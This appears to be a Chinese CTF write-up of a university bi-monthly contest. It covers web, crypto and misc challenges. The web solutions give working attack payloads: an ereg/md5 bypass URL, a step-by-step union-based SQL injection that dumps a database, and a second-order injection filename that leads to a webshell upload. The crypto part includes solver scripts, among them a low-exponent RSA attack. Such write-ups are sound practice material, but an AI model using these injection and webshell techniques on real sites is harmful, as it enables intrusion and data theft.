概述
前言
毕竟是萌新,能有校赛打已经很开心了,感谢Source大佬的带飞,下面放上本次双月赛的部分题解;
正文
Web
签到题
是个easy的绕过,给出源码:
<?php
$white_list = range(0,9);
require_once('flag.php');
if(isset($_REQUEST['0ver']) && isset($_REQUEST['0ver1']) && isset($_REQUEST['0ver2'])){
$a = $_REQUEST['0ver'];
$b = $_REQUEST['0ver1'];
$c = $_REQUEST['0ver2'];
if(@ereg("^[0-9]+$", $a) === FALSE){
echo 'no must be number';
}else{
if(in_array($a,$white_list)){
if(strlen($a)>1){
if(md5($c) === md5($b) && ($b !== $c)){
echo "<img src='dark.png'><br>";
echo 'you are a great dark phper<br>';
echo $flag;
}
else{
echo "you can do it!!!";
}
}else{
echo 'you no dark';
}
}else{
echo 'you are so dark';
}
}
}else
highlight_file(__FILE__);
考察ereg()
和md5()
的绕过姿势,00截断绕过ereg
,上传数组绕过md5
,即可得到flag如下:
payload:http://202.119.201.199:32790/index.php?0ver=5%00a&0ver1[]=a&0ver2[]=b
SimpleUpload
是个前端验证,只允许上传图片,不允许上传php为后缀的文件,只需要bp截取改后缀名即可;
小型线上赌场
一开始没有思路,毕竟是萌新还没有了解到CTF的很多姿势,请教新城瑞雪大佬得知是vim文件泄露,在vim编辑的时候没有正常退出,系统就会自动生成一个swp文件用来日后的恢复;直接down下来,vim打开得源码:
<?php
$invest = $_GET['invest'];
$rand = rand(2,50);
$len = strlen(trim($_GET['invest']));
foreach ($_GET as $key => $value) {
if(!is_numeric($value)||$value == '0'){
die('no no no!');
}
}
$money = number_format($invest*$rand);
$money = intval(str_replace(',','',$money));
$guess = intval($_GET['guess']);
if ($guess == $money && strlen($money)===$len){
echo $flag;
}
看懂源码意思即可,生成2~50
的随机数rand
,money
为$invest*$rand
;如果$money==$guess
就回显flag,即invest*倍数==guess
即可,那我们可以直接直接bp爆破,猜一个guess
,固定invest
和guess
的值,多次爆破,如果次数达到一定的上限一定会出现猜对倍数的情况,这样的话就会输出flag;
bp爆破设置:
-
不设置变量;
-
设置payload类型为
null payloads
,上限次数设置大一点为2000; -
随便设置一下options即可start;
结果:
升序排列length即可发现不匹配的特殊项,发现flag;
SimpleSQLi
- 首先输入
?id=1%27
报错; - 接着注释掉后面的引号
?id=1%27%23
,回显正常,说明猜测成功存在注入点;
- 接下来就是用order by去猜列数,
?id=1%27%20order%20by%203%23
回显正常应该是三列没错; - 下面需要用union select去回显某一列的东西,构造
?id=-1%27%20union%20select%201,2,3%23
;这里需要第一句话为空才能显示后面一句话的内容,选择id=-1,就可以回显2和3,后面就可以利用这两列回显想要的东西;
- 爆库名:
?id=-1%27%20union%20select%201,2,database()%20%23
为security
- 爆表名,此处使用mysql里面自带的information_schema表;
id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23
发现flag表信息;
- 爆列名:
id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27flagishere%27%23
有Id和flag两列;
- 爆值:
?id=-1%27%20union%20select%201,2,group_concat(Id,0x3a,flag)%20from%20flagishere%23
文件管理系统
队友Source在离别歌的blog里搜索到类似题目,了解到这题的切入点是二次注入;直接拿来payload就可以搞定这一题;
-
先选择文件进行上传,filename为
',extension='',filename='x.jpg.jpg
; -
Rename file,注入后文件系统中文件名为
xl.jpg.jpg
-
上传真的包含webshell的文件;
-
改名后缀为
.php
,连接菜刀即可; -
flag在根目录;
参考链接:leavesongs的博客
Crypto
现代密码签到
一度以为是hash,因为base64decode出来是Salted__
开头,真的是…被出题人虐到鼻青脸肿,和队里大佬讨论很久也不知道怎么办,还一度以为是AES,hint出来了是DES,也不知道密钥该如何解密…没想带直接找一个在线网站直接解密既可以了…密钥为空… 狂喷一口老血…
在线解密一次以后再解一次即可得到flag:
这就是双重DES…
古典密码签到
也是解的很暴躁的一题,基本就是大家一开始都是base32出来就不知道那是什么玩意了…
翻看各种大佬的博客总结古典密码都没有这种奇怪的符号…直到队友解出来的那一刻我都是懵逼的(SourceNB),放上解题脚本:
#coding:utf-8
import base64
s="LZYGQ326N5QXMYAKORNG42TABJ2FUWS2MNRWG6A="
c=base64.b32decode(s)
print c
for i in range(128):
ans=""
for x in c:
ans+=chr((ord(x)+i)%128)
if 'ctf' in ans:
print ans
在ASCII码内凯撒爆破即可:
慢着…这16进制是什么鬼…大胆猜测是easy_soeasy__hhh,填入果然没错…
总的来说做这两题的心情就是可以狂扁出题人小朋友了…
easyrsa
这题终于不是前面两题那么让人流泪了…,n和c里只出现了12个字符猜测是12进制;
n=36004b9A985A624479A4891b16130722A5A7453989bA61737A226368504A5689381236451796A445824b5A516b176b40135935b0b8999046154359b0560537100289b9795129505b461542A4897A56561529A705135AA772507bb3172b03b3425A99224b68b45b801459b29A070bAb9408761b4A70b905308772472934486924bA17013A2A801041A05178b0488AA5
e=5
c=411A016A671768793b5AAbA4A043001A468b8A9A6122290461266393181b021812b6AAbAA1b57161bAA300321174154862338b0098249626A93116b34752540987309A08520bb6780804b5679144173Ab7301b49322587504A75A7A2445928A07A650bb6076bA3412b1375205336b43A11A1510A22893b937065
给出以下信息,e=5
,猜测是低指数攻击,上解题脚本:
#coding:utf-8
import gmpy2
def twl_to_dec(twl):
ans=0
l=len(twl)
for i in range(l):
if twl[i]=='A':
temp=10
elif twl[i]=='b':
temp=11
else:
temp=int(twl[i],10)
ans+=temp*pow(12,l-i-1)
return ans
def small_msg(c,n,e):
i=0
while 1:
if(gmpy2.iroot(c+i*n, e)[1] == 1):
x = gmpy2.iroot(c+i*n, e)[0]
print hex(x)[2:].decode('hex')
break
i += 1
def main():
n="36004b9A985A624479A4891b16130722A5A7453989bA61737A226368504A5689381236451796A445824b5A516b176b40135935b0b8999046154359b0560537100289b9795129505b461542A4897A56561529A705135AA772507bb3172b03b3425A99224b68b45b801459b29A070bAb9408761b4A70b905308772472934486924bA17013A2A801041A05178b0488AA5"
c="411A016A671768793b5AAbA4A043001A468b8A9A6122290461266393181b021812b6AAbAA1b57161bAA300321174154862338b0098249626A93116b34752540987309A08520bb6780804b5679144173Ab7301b49322587504A75A7A2445928A07A650bb6076bA3412b1375205336b43A11A1510A22893b937065"
e=5
n=twl_to_dec(n)
c=twl_to_dec(c)
small_msg(c,n,e)
if __name__ == '__main__':
main()
12进制转化为 10进制以后直接进行小公钥指数攻击即可,得到flag:
**友情提示:**自己写的进制转换虽然丑,but肯定比网上在线转换靠谱(微笑.jpg)
Misc
Misc签到
得到盲文图片如下,直接对应盲文表解出flag内容为:BAIND
,将A换为1,加上flag提交即可;
BXS图标真好看
打开是个txt文件,查看内容发现IDHR
关键字,猜测是png图片,直接改掉后缀得到一张图片;
发现flag相关内容,猜测是凯撒移位,但发现前面有8位,果断推翻猜想,继续猜测是栅栏密码,果然得到flag;
base全家桶了解一下
nctf遇到过差不多的题,没什么难度;
解密脚本:
#coding:utf-8
import base64
s="R1kzRE1RWldHRTNET04yQ0dVM1RNTkpXSU0zREdNWlFHWkNETU5KVklZM1RJTVpRR01ZREtSUldHTTNUS05TRUc0MkRNTVpYR1EzRE1OMkU="
c=base64.b64decode(s)
print c
d=base64.b32decode(c)
print d
e=base64.b16decode(d)
print e
起床改error啦
唯一做到的Misc…队友Source太给力…拿到手是个png图片
丢进十六进制编辑器,发现猫腻,有zip文件头和flag信息;
扒下来另存为zip,解压得到flag.doc,但是里面没有flag;
提示直接告诉是doc隐写,那就显示隐藏文字即可,得到flag;
最后
以上就是开心唇膏为你收集整理的CUMT-CTF第二次双月赛Writeup前言正文的全部内容,希望文章能够帮你解决CUMT-CTF第二次双月赛Writeup前言正文所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复